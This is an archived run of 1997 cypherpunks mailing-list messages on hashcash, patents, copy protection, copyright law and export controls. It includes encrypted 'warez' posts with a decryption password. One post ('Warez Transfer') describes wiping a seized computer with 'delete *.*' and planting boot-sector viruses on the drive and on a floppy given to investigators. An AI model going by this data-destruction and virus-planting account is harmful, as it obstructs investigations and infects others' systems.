more information, see http://www.public-domain.org/.


Bio:

Richard Stallman received the 1990 ACM Grace Murray Hopper award for
developing GNU Emacs.  He is also the author of the free symbolic
debugger GDB, and founded the project to develop the free GNU
operating system.







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Fri, 19 Dec 1997 02:39:09 +0800
To: Adam Back <toto@sk.sympatico.ca
Subject: Toto, knock it off!
In-Reply-To: <199712180752.XAA15650@toad.com>
Message-ID: <v03102802b0bf0eb7ace8@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 6:18 AM -0700 12/18/97, Adam Back wrote:
>Toto,
>
>Could you have a word with your nephew Human Gus Peter?  He just sent
>1.1 Mb of encrypted warez to cypherpunks list.  I'm not bothered about
>the warez, but am bothered about the volume.
>
>If he wants to make warez available could you get him to learn how to
>use the eternity service?  Then he could simply post a URL to the
>list.

You're far too kind, Adam.

This fool who sometimes posts as Toto, sometimes as TruthMonger, sometimes
as Human Gus-Peter, sometimes as Admiral Bubba Something, and so on, is
simply set on disrupting the list.

I long ago started deleting his stuff unread, or as soon as I saw it was
from "Colonel Parker" or "A Player to be Named Later," or whatever. The
guy, whomever he is, probably has some real writing skills, but they've
been lost in what I have to presume is a bourbon fog.

His stuff took me far too long to download this morning at 2:30 a.m., and
then more of this shit this morning. All to just have it all deleted.

Please, Toto or Whomever, knock it off.

--Tim May

The Feds have shown their hand: they want a ban on domestic cryptography
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
ComSec 3DES:   408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^2,976,221   | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: David Honig <honig@otc.net>
Date: Fri, 19 Dec 1997 03:27:29 +0800
To: "Bruce Balden" <bd1011@hotmail.com>
Subject: Re: Can I do Pubkic Domain that -
In-Reply-To: <01bd0b5d$497dfee0$69737018@eudoxus.bc.rogers.wave.ca>
Message-ID: <3.0.5.32.19971218110440.007b6a90@otc.net>
MIME-Version: 1.0
Content-Type: text/plain



At 06:33 PM 12/17/97 -0800, Bruce Balden wrote:
>
>Those guys just never learn that not only is the barn door open, but that
>contents were never theirs to begin with.
>

They blew their chance to regulate *computers* as military tech.
Computers, after all, were developed by the military for ballistic, bombs,
and codes.  



------------------------------------------------------------
      David Honig                   Orbit Technology
     honig@otc.net                  Intaanetto Jigyoubu

	M-16 : Don Quixote :: PGP : Louis Freeh
         Let freedom ring (or screech at 28.8)
















From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <bill.stewart@pobox.com>
Date: Fri, 19 Dec 1997 14:44:58 +0800
To: "Uhh...this is Joe [Randall Farmer]" <pooh@efga.org>
Subject: Re: hashcash spam prevention & firewalls
In-Reply-To: <3.0.3.32.19971213161023.03889c90@mail.atl.bellsouth.net>
Message-ID: <3.0.3.32.19971218120500.00707254@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



>> > So, we would need about 44 hours of CPU time each day.
>> >Well, have a system of certified remailers trusted to force their 
>> >users to burn up time at the sending end, so the ultimate recipient
>> >accepts their messages w/o postage. One certified remailer accepts
>> >messages from others without any postage, so only the original
>> >sender has to use up CPU time. 
>...
>> Since we need hashcash now to LEAVE a remailer, not to enter one,
>> where does this hashcash come from?  A busy remailer could not
>> generate it's own hashcash for the destination non-remailer ISPs. 
>
>This is exactly what I was addressing: remailers only have to get themselves
>certified as remailers and then prove their certification to the destination

You're both taking the wrong approach - make the originator of the message
generate the hashcash, and make sure the remailer syntax lets them paste it in
as needed.  For chained remailers, generate multiple layers of hashcash.
Maintaining whitelists is a losing game, but unnecessary here.

Mailing lists are still hard, and perhaps best handled by the user's software
(or some fancy variant like user-selectable filters at the ISP mailbox.)
It's hard to tell a real mailing list from a spammer's mailing list,
and both of them do mail explosion and send their mail to names not 
listed in the To: line, so it's hard to do a technical fix.
There are scads of attacks against any fix, like having 
disposable_user@juno.com join the mailing list for a while and them spam it.
But remailers are easy.
				Thanks! 
					Bill
Bill Stewart, bill.stewart@pobox.com
PGP Fingerprint D454 E202 CBC8 40BF  3C85 B884 0ABE 4639





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ray Arachelian <sunder@brainlink.com>
Date: Fri, 19 Dec 1997 01:52:08 +0800
To: "William H. Geiger III" <whgiii@invweb.net>
Subject: Re: MISTY is patented International Patent
In-Reply-To: <199712180730.CAA30209@users.invweb.net>
Message-ID: <Pine.SUN.3.96.971218121904.6423A-100000@beast.brainlink.com>
MIME-Version: 1.0
Content-Type: text/plain



On Thu, 18 Dec 1997, William H. Geiger III wrote:

> >MISTY is patented International Patent PCT/JP96/02154 by MITUBISHI Inc. A
> >license is needed to "make, use or sell".
> 
> Who cares?!?

Actualy, I do.  Not! To me, this says, if you make a piece of shit, you
can patent it and keep others from using it, playing with it, or making
their own shit. :) 

:)

=====================================Kaos=Keraunos=Kybernetos==============
.+.^.+.|  Ray Arachelian    |Prying open my 3rd eye.  So good to see |./|\.
..\|/..|sunder@sundernet.com|you once again. I thought you were      |/\|/\
<--*-->| ------------------ |hiding, and you thought that I had run  |\/|\/
../|\..| "A toast to Odin,  |away chasing the tail of dogma. I opened|.\|/.
.+.v.+.|God of screwdrivers"|my eye and there we were....            |.....
======================= http://www.sundernet.com ==========================





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Human Gus-Peter <hg-p@dev.null>
Date: Fri, 19 Dec 1997 04:59:42 +0800
To: cypherpunks@toad.com
Subject: Warez 36
Message-ID: <199712182026.OAA12670@harrier.sasknet.sk.ca>
MIME-Version: 1.0
Content-Type: text/plain




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Version: PGP for Business Security 5.5
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Human Gus-Peter <hg-p@dev.null>
Date: Fri, 19 Dec 1997 05:13:22 +0800
To: cypherpunks@toad.com
Subject: Warez 37
Message-ID: <199712182028.OAA12839@harrier.sasknet.sk.ca>
MIME-Version: 1.0
Content-Type: text/plain



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Version: PGP for Business Security 5.5
Comment: "I Broke PGP!"

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-----END PGP MESSAGE-----



From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Human Gus-Peter <hg-p@dev.null>
Date: Fri, 19 Dec 1997 04:59:04 +0800
To: cypherpunks@toad.com
Subject: Warez 38
Message-ID: <199712182029.OAA13026@harrier.sasknet.sk.ca>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP MESSAGE-----
Version: PGP for Business Security 5.5
Comment: "I Broke PGP!"

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Human Gus-Peter <hg-p@dev.null>
Date: Fri, 19 Dec 1997 04:59:13 +0800
To: cypherpunks@toad.com
Subject: Warez 39
Message-ID: <199712182031.OAA13218@harrier.sasknet.sk.ca>
MIME-Version: 1.0
Content-Type: text/plain



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Version: PGP for Business Security 5.5
Comment: "I Broke PGP!"

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01IHSk4xSmoku8YYYJ4SJwMAoXCvhE0p8DIH
=uUV/
-----END PGP MESSAGE-----



From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Fri, 19 Dec 1997 05:07:15 +0800
To: David Honig <bd1011@hotmail.com>
Subject: Re: Can I do Pubkic Domain that -
In-Reply-To: <01bd0b5d$497dfee0$69737018@eudoxus.bc.rogers.wave.ca>
Message-ID: <v03102804b0bf2f0944f7@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 12:04 PM -0700 12/18/97, David Honig wrote:
>At 06:33 PM 12/17/97 -0800, Bruce Balden wrote:
>>
>>Those guys just never learn that not only is the barn door open, but that
>>contents were never theirs to begin with.
>>
>
>They blew their chance to regulate *computers* as military tech.
>Computers, after all, were developed by the military for ballistic, bombs,
>and codes.

I can't follow your logic here. Several points:

* The government _has_ regulated the export of computers for a long time,
in the COCOM rules, and still in other rules covering computers. (A famous
benchmark was how fast a computer or other system could compute a
particular FFT--any faster than some threshold and the computer could not
be freely exported, least of all to various Bad Nations.)

* As for "regulate *computers* as military tech," domestically, there are
very, very few technologies the government has the authority to regulate
domestically. Nuclear and biological weapons are one example (with specific
enabling legislation). A few other technologies. (For example, making a gun
in one's machine shop can violate various confusing gun laws.) But the
"regulate *computers* as military tech" line just doesn't make sense.

* Nor is it clear that computers were developed "for" military uses. True,
some earlier computers were used by the military, and the development bill
was paid for by the military. But unless specific patents are involved,
such early uses most definitely do not give the military control over later
developments!

(Nor do I think the military played the dominant role. I have long heard
about how the space program caused the microprocessor to be invented.
Nonsense. I was at Intel from 1974 to 1986, and have also read many
histories of the 1960s developements, and can argue without fear of
correction that neither military nor NASA spending had much if anything to
do with the developments.)

--Tim May

The Feds have shown their hand: they want a ban on domestic cryptography
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
ComSec 3DES:   408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^2,976,221   | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Thu, 18 Dec 1997 23:29:03 +0800
To: toto@sk.sympatico.ca
Subject: Re: Warez 1-29
In-Reply-To: <199712180752.XAA15650@toad.com>
Message-ID: <199712181318.NAA00466@server.eternity.org>
MIME-Version: 1.0
Content-Type: text/plain




Toto,

Could you have a word with your nephew Human Gus Peter?  He just sent
1.1 Mb of encrypted warez to cypherpunks list.  I'm not bothered about
the warez, but am bothered about the volume.

If he wants to make warez available could you get him to learn how to
use the eternity service?  Then he could simply post a URL to the
list.

You see the problem is that in the UK, we do not get free local calls.
BT charges 3p (about 6 cents Canadian) per minute in the day for local
calls.  I gzip my mail before downloading, but still that was 818 Kb,
which is 6 minutes worth of email, and so cost me an additional 18p
(36 cents Canadian).

If I had the passphrase the warez was encrypted with I could evaluate
whether the warez was worth 18p to me.  In it's encrypted form it is
worth 0p.

Adam





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Fisher Mark <FisherM@exch1.indy.tce.com>
Date: Fri, 19 Dec 1997 02:36:12 +0800
To: "'cypherpunks'" <cypherpunks@cyberpass.net>
Subject: IBM Abandons Cryptolopes
Message-ID: <2328C77FF9F2D011AE970000F84104A74934B9@indyexch_fddi.indy.tce.com>
MIME-Version: 1.0
Content-Type: text/plain



CNET has the full story at
<URL:http://www.news.com/News/Item/0,4,17474,00.html>.

Apparently (IMHO), someone at IBM realized that Cryptolopes were
isomorphic to copy-protection -- and we all know how much
widely-available commercial software is copy-protected today (i.e. none
to speak of).  As a veteran of the copy-protection wars on the side of
the bad guys (the copy-protectors), it is just impossible to fully
copy-protect software given the current state of PC and workstation
hardware (though I expect most of you already know this).  I predict
that if someone tries to add features to computers to make
copy-protection more tamper-resistant, there will be a great groundswell
of protest by the mass of computer users, both private and corporate.
Only if such protection were mandated by government (a la Stallman's
"The Right to Read") would this even be close to feasible.

To close, a quote from Eugene Spafford:
"The only truly secure system is one that is powered off, cast in a
block of concrete and sealed in a lead-lined room with armed guards --
and even then I have my doubts."
==========================================================
Mark Leighton Fisher          Thomson Consumer Electronics
fisherm@indy.tce.com          Indianapolis, IN
"Their walls are built of cannon balls, their motto is
'Don't Tread on Me'"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Fisher Mark <FisherM@exch1.indy.tce.com>
Date: Fri, 19 Dec 1997 02:44:37 +0800
To: "'cypherpunks'" <cypherpunks@cyberpass.net>
Subject: Jim Bell and Why the Government Did What It Did
Message-ID: <2328C77FF9F2D011AE970000F84104A7AB8365@indyexch_fddi.indy.tce.com>
MIME-Version: 1.0
Content-Type: text/plain



I've been doing a lot of thinking on Jim Bell's plight, so based on my
experiences with government workers, this is how I think it happened:

(A little background -- my wife and I have a hobby of doing small
real-estate developments, so we have ended up dealing with the local
government employees quite a bit, so much so that they know us by name
and face by now.)  One big impression left with me by government
employees is that most of them are serious, nay even solemn, people.  I
think that they are the kind of people who never have perpetrated a
prank in their lives.  Couple that fact with the kind of prank Jim Bell
pulled (using mercaptan (sp?) to the level of making people vomit from
the smell), and I suspect that the IRS folks got incredibly bent out of
shape over it.  (As I myself would if I had an office that I
administered and someone did that to my employees and/or me.)

The incredible anger that was likely generated by that action (a prank
in Jim's eyes, but certainly not in the eyes of the IRS employees)
caused them to try everything legally within their power to "get" Jim
Bell.  His use of multiple SS#'s to avoid paying taxes probably just
increased their fury, given that the job of the IRS (according to the
likely majority viewpoint of IRS employees) is to ensure the compliance
of their fellow citizens with the tax code so that the burden may be
shared fairly.  Jim's AP writings added fuel to the IRS employee's
fires, most likely causing them to think that Jim was going to be up to
more serious deeds in the future -- but that was not the likely the
initial cause of their furor, it was the attack on their offices and the
attack on their livelihood and the government that they all work for.
If Mr. Bell had not made his attack on their office, and had not tried
to illegally evade taxes, we would still likely be reading his musings
and rantings on AP as he would be walking around a free man.  AP, of
course, made for wonderful :) publicity for the IRS in Jim Bell's case,
as it is something that the media could really sink its teeth into.

So, in short -- Jim Bell, IMHO, is in jail because he vandalized IRS
offices and prevented them from doing their legally-appointed duties --
not because of AP.  AP just gave the IRS and the media a lot of good,
juicy tidbits to feed to the public about Mr. Bell.
==========================================================
Mark Leighton Fisher          Thomson Consumer Electronics
fisherm@indy.tce.com          Indianapolis, IN
"Their walls are built of cannon balls, their motto is
'Don't Tread on Me'"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Six <ualdv8@sk.sympatico.ca>
Date: Fri, 19 Dec 1997 05:47:45 +0800
To: cypherpunks@toad.com
Subject: Warez Transfer
Message-ID: <34997C25.39EE@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain



Warez Transfer
--------------
To decrypt the 'wrzs9514.xxx.asc' files with PGP, use
the password 'warez'.
run 'wrzs9514.bat' to get 'wrzs9514.zip'
unzip
--------------

Tojohoto,
You were right...you *can* tell who they are by the way they knock.
They took your computer. (They just want to ask it a few questions.) :>

Norton Wipeinfo doesn't run in multitasking so I didn't take time to
reboot it. I ran 'delete *.*' in one MS-DOS window and ran a 'copy *.*'
command on a large directory in another MS-DOS window. By the time they
pulled the plug it had already ripped its own head off and shit down its
own neck.

I had already made sure your harddrive was badly defragmented so the
two commands should have made a good mess. I put a boot&fat sector virus
on your hard drive and gave them a bootable floppy disk that has another
virus on it.
(I told them that the floppy disk in your computer was mine so they gave
 it to me. Then the guy who gave it to me came back and said he needed
 to have it back. I gave him a disk and the lamer asked me if it was
 the same one. Duuhhh...) ;?

If anyone on the cypherpunks list liked you, they don't now...sorry.
I stayed up all night and sent you the file splitting program that
Bianca sent. I know she plays with stuff so I guessed it is probably
different than what you could get on the Net so I sent it to the
cypherpunks list because I don't know if they are going to come get
my computers, too.

Berzerkeley said you can get in touch if you need to. You must owe him
money, eh? Lost Taos said they don't know you and never have and to
come before you call.

There is something else but I forgot.
Have to go and do weird stuff to my computers and disks.

Bye
<---->
  8"

pp - "Don't get any on'ya!"

ppp - I messed up the .asc file order because 95 --> 3.1 multiple
disk transfer duplicates filenames. The decrypted files should
come out right though. I will check after I juryrig my computers.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Fri, 19 Dec 1997 05:48:48 +0800
To: Brian the Obscure <sunder@brainlink.com>
Subject: Re: Clinton signs draconian antipiracy law, from the Netly News
In-Reply-To: <3.0.1.32.19971217115156.00e83da0@dnai.com>
Message-ID: <v03102806b0bf39d5ce31@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 3:07 PM -0700 12/17/97, Brian the Obscure wrote:
>At 11:51 AM 12/17/97 -0800, Lizard wrote:
>>
>>At 02:42 PM 12/17/97 -0500, Declan McCullagh wrote:
>>>At 12:37 -0500 12/17/97, Ray Arachelian wrote:
>>>>You have a CD player at home and use a walkwan when walking around, so you
>>>>tape your CD's so you can listen to them. Wham! Instant jail time.
>>>
>>>Yes, if you copy $1,000 worth of CDs within six months.
>>>
>>At rougly 15.00/CD, that is one CD every three days, more or less..not
>>utterly inconveivable, but a little difficult.
>
>Try this scenario:  I have 150+ audio cd's, many of which are rare, import,
>out of print, or even all of the above.  Since a fire could leave me
>missing many pieces of irreplaceable music, I had come up with a plan.  Get
>a cd-r burner, make backup copies of my audio discs, and store them in a
>safe deposit box.

All of this about jail time for copying CDs is nonsense, even under the new
law.

Some years back, circa 1989-91 or so, Congress passed a new tax on blank
tape and other such blank media...we've all been paying a little bit for
blank media as a result of this law. (The name of the law is no longer on
the tip of my tongue, but it was something about intellectual property
rights, or somesuch--the name may be the "Home Recording Act," it now
occurs to me.)

One of the key provisions was that home taping, or archival taping, or
taping for any _noncommercial_ use was now fully legal, with not even the
hint of illegality.

A friend of mine has over 4500 CDs he has borrowed from libraries, friends,
etc. and transferred to DAT tapes. (Until recently, DATs were cheaper per
hour of recording than CD-Rs....this has recently changed, and CD-Rs are
now as cheap or cheaper.)

Myself, I have about 200 CDs on DAT. All strictly legal under this Act.

It is possible that the new law just signed by Clinton will conflict with
the older explicit permission. I presume they'll return our blank tape
taxes, then, right? And I presume they'll have ways to know which tapes
were made when this taping was fully legal (explicitly), and which were
made after?

No on both of these accounts.

However, the new law is pernicious.

There is no way to establish the "value" of goods, except by sales price,
and this is problematic.

(I could declare this posting to have a "value" of $1000, and in fact offer
to sell it to non-Cyphepunks list members for $1000. It would be fully
legal and feasible for more to do this. Then, if someone made a "copy" of
it, as they might make a copy of Microsoft Office, they've broken the new
law. Of course, the Copyright Cops won't go after Joe Blow for "pirating"
my little article...they'll only go after their corporate donors.)

--Tim May


The Feds have shown their hand: they want a ban on domestic cryptography
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
ComSec 3DES:   408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^2,976,221   | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: purewater2@hotmail.com
Date: Fri, 19 Dec 1997 04:50:15 +0800
To: cypherpunks@toad.com
Subject: Give the Gift of Health
Message-ID: <eaep.3.0.reg.DanCR7.35418.5679231481@mail.stopgocal.com>
MIME-Version: 1.0
Content-Type: text/plain




//////////////////////////////////////////////////////////
  If you would like to be removed from our mailing list, please
  reply to this message with "remove" as the subject and you
  will not receive any more email from our server.
/////////////////////////////////////////////////////////

Pure Water is offering water distillers at wholesale
Come see our web ad at:
http://www.stopgocal.com/purewater

12/19/96





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: David Honig <honig@otc.net>
Date: Fri, 19 Dec 1997 06:28:55 +0800
To: Tim May <bd1011@hotmail.com>
Subject: Re: Can I do Pubkic Domain that -
In-Reply-To: <3.0.5.32.19971218110440.007b6a90@otc.net>
Message-ID: <3.0.5.32.19971218135434.007b3e00@otc.net>
MIME-Version: 1.0
Content-Type: text/plain



At 12:58 PM 12/18/97 -0700, Tim May wrote:
>At 12:04 PM -0700 12/18/97, David Honig wrote:
>>At 06:33 PM 12/17/97 -0800, Bruce Balden wrote:
>>>
>>>Those guys just never learn that not only is the barn door open, but that
>>>contents were never theirs to begin with.
>>>
>>
>>They blew their chance to regulate *computers* as military tech.
>>Computers, after all, were developed by the military for ballistic, bombs,
>>and codes.
>
>I can't follow your logic here. Several points:


I was alluding to the licensing of ordinary photocopiers and fax machines
(and computers, 
and now internet connections) in statist nations, to prevent their "misuse".  
In the 50's, the government should have 
(from the control point of view) used the hysteria of the times to regulate
*domestic* use of reprogrammable computers.  

As far as justification, bring up the baddies and the sheep cower: the
communist dope smoking child
pornographers with ties to Libya.  What's a little liberty for security? :-<


>* Nor is it clear that computers were developed "for" military uses. True,
>some earlier computers were used by the military, and the development bill
>was paid for by the military. But unless specific patents are involved,
>such early uses most definitely do not give the military control over later
>developments!
>
>(Nor do I think the military played the dominant role. I have long heard
>about how the space program caused the microprocessor to be invented.
>Nonsense. I was at Intel from 1974 to 1986, and have also read many
>histories of the 1960s developements, and can argue without fear of
>correction that neither military nor NASA spending had much if anything to
>do with the developments.)
>
>--Tim May
>


The develoment of computers can be traced along numerous threads.  One
thread (from say the 40's to 50's)
traces the encouragement of the codebreaking, ballistics, h-bomb fluid
dynamics, and missile
control community.  

By the 50's the computer was done, and improvements were just making better
implementations.

It is admittedly oversimplifying to follow only one thread (e.g., only
mathematical or engineering development),
but in the early days (way before intel) computers were built for the uses
I describe.




------------------------------------------------------------
      David Honig                   Orbit Technology
     honig@otc.net                  Intaanetto Jigyoubu

	M-16 : Don Quixote :: PGP : Louis Freeh
         Let freedom ring (or screech at 28.8)
















From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Bruce Balden" <balden@mail.bc.rogers.wave.ca>
Date: Fri, 19 Dec 1997 06:36:33 +0800
To: "David Honig" <tcmay@got.net>
Subject: Re: Can I do Pubkic Domain that -
Message-ID: <01bd0c02$8bd98c00$69737018@eudoxus.bc.rogers.wave.ca>
MIME-Version: 1.0
Content-Type: text/plain



Exportability rules are based up the notion that the USA has the best
technology (perhaps true) and that non-Americans, such as the notorious
Chinese, are too far behind.

Whereas the truth is that many countries in the have the necessary
technology and have possessed it for a long time.  There is absolutely no
evidence that the US gov't crypto export rules are impeding drug cartels in
the least.

So there is a peverse mix cognitive dissonance, xenophobia ("what do those
chinks know anyway?!!), and sycophantism (telling the President what he
wants to hear).

Somebody please tell me how this idiocy can persist.

-----Original Message-----

>At 12:58 PM 12/18/97 -0700, Tim May wrote:
>>At 12:04 PM -0700 12/18/97, David Honig wrote:
>>>At 06:33 PM 12/17/97 -0800, Bruce Balden wrote:
>>>>
>>>>Those guys just never learn that not only is the barn door open, but
that
>>>>contents were never theirs to begin with.
>>>>
>>>
>>>They blew their chance to regulate *computers* as military tech.
>>>Computers, after all, were developed by the military for ballistic,
bombs,
>>>and codes.
>>
>>I can't follow your logic here. Several points:
>

>>
>
>
>The develoment of computers can be traced along numerous threads.  One
>thread (from say the 40's to 50's)
>traces the encouragement of the codebreaking, ballistics, h-bomb fluid
>dynamics, and missile
>control community.
>
>By the 50's the computer was done, and improvements were just making better
>implementations.
>
>It is admittedly oversimplifying to follow only one thread (e.g., only
>mathematical or engineering development),
>but in the early days (way before intel) computers were built for the uses
>I describe.
>
>
>
>
>------------------------------------------------------------
>      David Honig                   Orbit Technology
>     honig@otc.net                  Intaanetto Jigyoubu
>
> M-16 : Don Quixote :: PGP : Louis Freeh
>         Let freedom ring (or screech at 28.8)
>
>
>
>
>
>
>
>
>
>
>
>





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Fri, 19 Dec 1997 06:25:24 +0800
To: Tim May <tcmay@got.net>
Subject: Re: Clinton signs draconian antipiracy law, from the Netly News
In-Reply-To: <v03102806b0bf39d5ce31@[207.167.93.63]>
Message-ID: <Pine.GSO.3.95.971218141400.5527A-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain




On Thu, 18 Dec 1997, Tim May wrote:
> >Try this scenario:  I have 150+ audio cd's, many of which are rare, import,
> >out of print, or even all of the above.  Since a fire could leave me
> >missing many pieces of irreplaceable music, I had come up with a plan.  Get
> >a cd-r burner, make backup copies of my audio discs, and store them in a
> >safe deposit box.
> 
> All of this about jail time for copying CDs is nonsense, even under the new
> law.

As a practical matter, you are correct. Just like it's unlikely a federal
prosecutor is going to try to imprison you for saying "fuck" online, it's
unlikely one will prosecute you for copying CDs at home.

However, it does not mean that the NET bill is good law.

> One of the key provisions was that home taping, or archival taping, or
> taping for any _noncommercial_ use was now fully legal, with not even the
> hint of illegality.

Instead of relying on your (admittedly) hazy recollections of the act, you
might want to look at it again. If you have a cite, I'll plug it into
Lexis.

It's clear from the plain text of the statute that the NET Act applies to
nonprofit infringing ("reproduction or distribution") of copyrighted
material. Archival purposes are perhaps not infringing. But dubbing 4,500
CDs from copies borrowed from libraries, as your friend did, probably is.

-Declan





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Fri, 19 Dec 1997 06:31:09 +0800
To: Brian the Obscure <sunder@brainlink.com>
Subject: Re: Clinton signs draconian antipiracy law, from the Netly News
In-Reply-To: <3.0.3.32.19971217170754.03dc2f70@pop.mindspring.com>
Message-ID: <v03102807b0bf42eff1ab@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 1:47 PM -0700 12/18/97, Tim May wrote:


>(I could declare this posting to have a "value" of $1000, and in fact offer
>to sell it to non-Cyphepunks list members for $1000. It would be fully
>legal and feasible for more to do this. Then, if someone made a "copy" of
>it, as they might make a copy of Microsoft Office, they've broken the new
>law. Of course, the Copyright Cops won't go after Joe Blow for "pirating"
>my little article...they'll only go after their corporate donors.)

What I meant by this was that the Copyright Cops will only go after those
who illegally copy the items made by big corporations and other friends of
the enforcers. Netscape and Oracle are Friends of Bill, so they'll get
quick attention. Joe Blow will be put on hold.

Even though my article is given a value of $1000 by me (who else?), there
will be no interest whatsover in prosecuting someone for illegally copying
my article.

However, let the cops find some Zip drives or CD-Rs marked "Microsoft
Office" in the home office of someone like me when they finally get around
to raiding my home, and they'll look to see if each and every item has full
receipts (which I don't usually even keep anyway). And they'll look for
more than the _one_ allowed backup, or whatever the law finally says is
permissable...

"Al Capone jailed for violation of the Copyright Act...Ness says the
Copyright Act can be used to get criminals untouchable using ordinary laws."

"Anarchist's home in mountains raided...thousands of dollars worth of
illegally copied articles, files, and CDs found...prosecutors say "three
strikes" law could put anarchist separatist survalist spy May away for life
without the possibility of parole."

And now I need to go mount  that Leupold scope on my new Remington 700 .308
sniper rifle....just the thing to reach out and touch someone.


--Tim May

The Feds have shown their hand: they want a ban on domestic cryptography
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
ComSec 3DES:   408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^2,976,221   | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Fri, 19 Dec 1997 06:59:49 +0800
To: cypherpunks@toad.com
Subject: Censorware Search Engine update and request for files
Message-ID: <Pine.GSO.3.95.971218143713.5527C-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain



Over at the Netly News Network, we've decided it's time to update our
Censorware Search Engine. For those of you who haven't checked it
recently, it's a one-of-a-kind web site that lets you see if you've been
blocked by filtering software:

  http://cgi.pathfinder.com/netly/spoofcentral/censored/

We're planning to update this with newer decrypted lists from some of the
vendors like SurfWatch, CyberPatrol, and so on. If you have a list and
you'd like it to be included, please send it along.

-Declan






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Fri, 19 Dec 1997 06:50:50 +0800
To: Declan McCullagh <declan@well.com>
Subject: Re: Clinton signs draconian antipiracy law, from the Netly News
In-Reply-To: <v03102806b0bf39d5ce31@[207.167.93.63]>
Message-ID: <v03102808b0bf47fc2157@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 3:18 PM -0700 12/18/97, Declan McCullagh wrote:

>> One of the key provisions was that home taping, or archival taping, or
>> taping for any _noncommercial_ use was now fully legal, with not even the
>> hint of illegality.
>
>Instead of relying on your (admittedly) hazy recollections of the act, you
>might want to look at it again. If you have a cite, I'll plug it into
>Lexis.
>

As I said in my article, I recalled the name as being the "Home Recording
Act." A search shows several hundred hits on this, many dealing with the
implications for home taping. The implications of the HRA for home taping
of CDs and other music were discussed extensively in Cyberia and other fora.

The text at one of the URLs, http://www.law.cornell.edu/uscode/17/ch10.html

shows this:

"§ 1008. Prohibition on certain infringement actions

"No action may be brought under this title alleging infringement of
copyright based on the manufacture, importation, or distribution of a
digital
audio recording device, a digital audio recording medium, an analog
recording device, or an analog recording medium, or based on the
noncommercial use by a consumer of such a device or medium for making
digital musical recordings or analog musical recordings. "


>It's clear from the plain text of the statute that the NET Act applies to
>nonprofit infringing ("reproduction or distribution") of copyrighted
>material. Archival purposes are perhaps not infringing. But dubbing 4,500
>CDs from copies borrowed from libraries, as your friend did, probably is.

Nope. It ain't. At least not of the HRA.

The HRA places no limits on the numbers of such tapings. All that matters
is that he is not selling or renting them out.

The HRA did not try to solve the "lost business" side of the equation, as
this is a hopeless fever swamp to wander into, as the alternate history of
whether my friend would have _bought_ the 4500 CDs is unknowable. Though,
knowing him, "Hell no." The blank tape tax was designed to be a minor piece
of compensation to the recording industry. The tape tax is paid by the tape
manufacturer or importer, not the customer, though of course the tax is
ultimately paid by the consumer.

(The extent to which the new law collides with the HRA is an issue, which I
addressed in my points about how can the CopyCops know when the copies were
made, etc.)


--Tim May


The Feds have shown their hand: they want a ban on domestic cryptography
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
ComSec 3DES:   408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^2,976,221   | black markets, collapse of governments.
